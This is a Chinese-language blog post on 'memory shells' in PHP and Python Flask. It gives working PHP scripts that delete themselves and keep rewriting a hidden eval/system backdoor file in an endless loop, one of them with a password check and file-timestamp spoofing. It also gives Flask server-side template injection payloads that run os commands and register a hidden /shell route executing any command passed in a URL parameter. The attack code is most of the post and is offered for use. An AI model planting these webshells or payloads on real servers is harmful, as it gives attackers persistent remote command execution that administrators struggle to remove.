前言

(spring实在太长,还在学习,所以先写这个了)
上几篇讲了java各种情况下的内存马,那python,php这些,是否也存在内存马?答案是肯定的,而且因为语言特性,不想java一样复杂。

PHP内存马

PHP内存马想必大家都不陌生,在线下AWD中是常用手段之一。在蚁剑中也有专门的插件可以一键注入内存马。原理也很简单,想对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的。

<?php
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间linux下可能不大好用
unlink(__FILE__); //删除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//恶意代码
usleep(5000); //延迟执行可有可无
}
?>

亦或者是这样

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '/var/www/dvwa/.ski12.php';
    $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
    while (1) {
        file_put_contents($file, $code);
        system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
        usleep(5000);
    }
?>

本质上原理是不变大,执行死循环,然后删除自身。但实际上这样做还是会有文件落地,只是管理员删不掉、删不完罢了。我们也可以用利用fastcgi对php攻击执行命令,但这样是否算一个驻留wenshell还有待争议。

python内存马

我们常用的python框架有django、flask。两者都可能存在ssti漏洞。
在JAVA内存马中,实现最简单的内存马在于tomcat的路由机制filter。那我们想在python中实现内存马,首先要想是否能在python中动态注册路由。
python注册路由的实际方式为self.add_url_rule()
self.add_url_rule的三个参数:

  1. url
    与app.route()的第一个参数一样。必须以/开始
  2. endpoint
    站点,使用url_for进行反转时,这个里面传入的第一个参数时endpoint的值。url_for反转是通过视图函数名得到路径,所以若不指定该值,则默认值为函数名
  3. view_func
    方法。只需要写方法名(也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错

app.add_url_rule('/index/',endpoint='index',view_func=index)

flask context

添加路由成功,那我们要做一个webshell,关键在于view_func。view_func可以菜农匿名函数的方式,该函数要实现获取参数值、执行命令、返回结果。
这里要看一下python的上下文机制
当一个网页请求后,会实例化一个Request Context。在python中分出了两种上下文,请求上下文(request context)和应用上下文(session context)。一个请求上下文中封装了请求的信息。
而上下文的结构是运用了一个Stack的栈结构,也就是说它拥有一个栈所拥有的全部特性。
request context实例化后,它会被push到栈_request_ctx_stack中,那我们可以通过获取栈顶元素的方法来获取当前的请求。
Request=_request_ctx_stac.top

构造webshell

python内置了函数url_for,可以利用这个函数寻找可用模块,达到命令执行

{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

那现在就能构造出webshell了

url_for.__globals__['__builtins__']['eval'](
  "app.add_url_rule('/shell', 'shell', lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

使用ssti打payload后访问/shell?cmd=即可执行命令


"孓然一身 , 了无牵挂"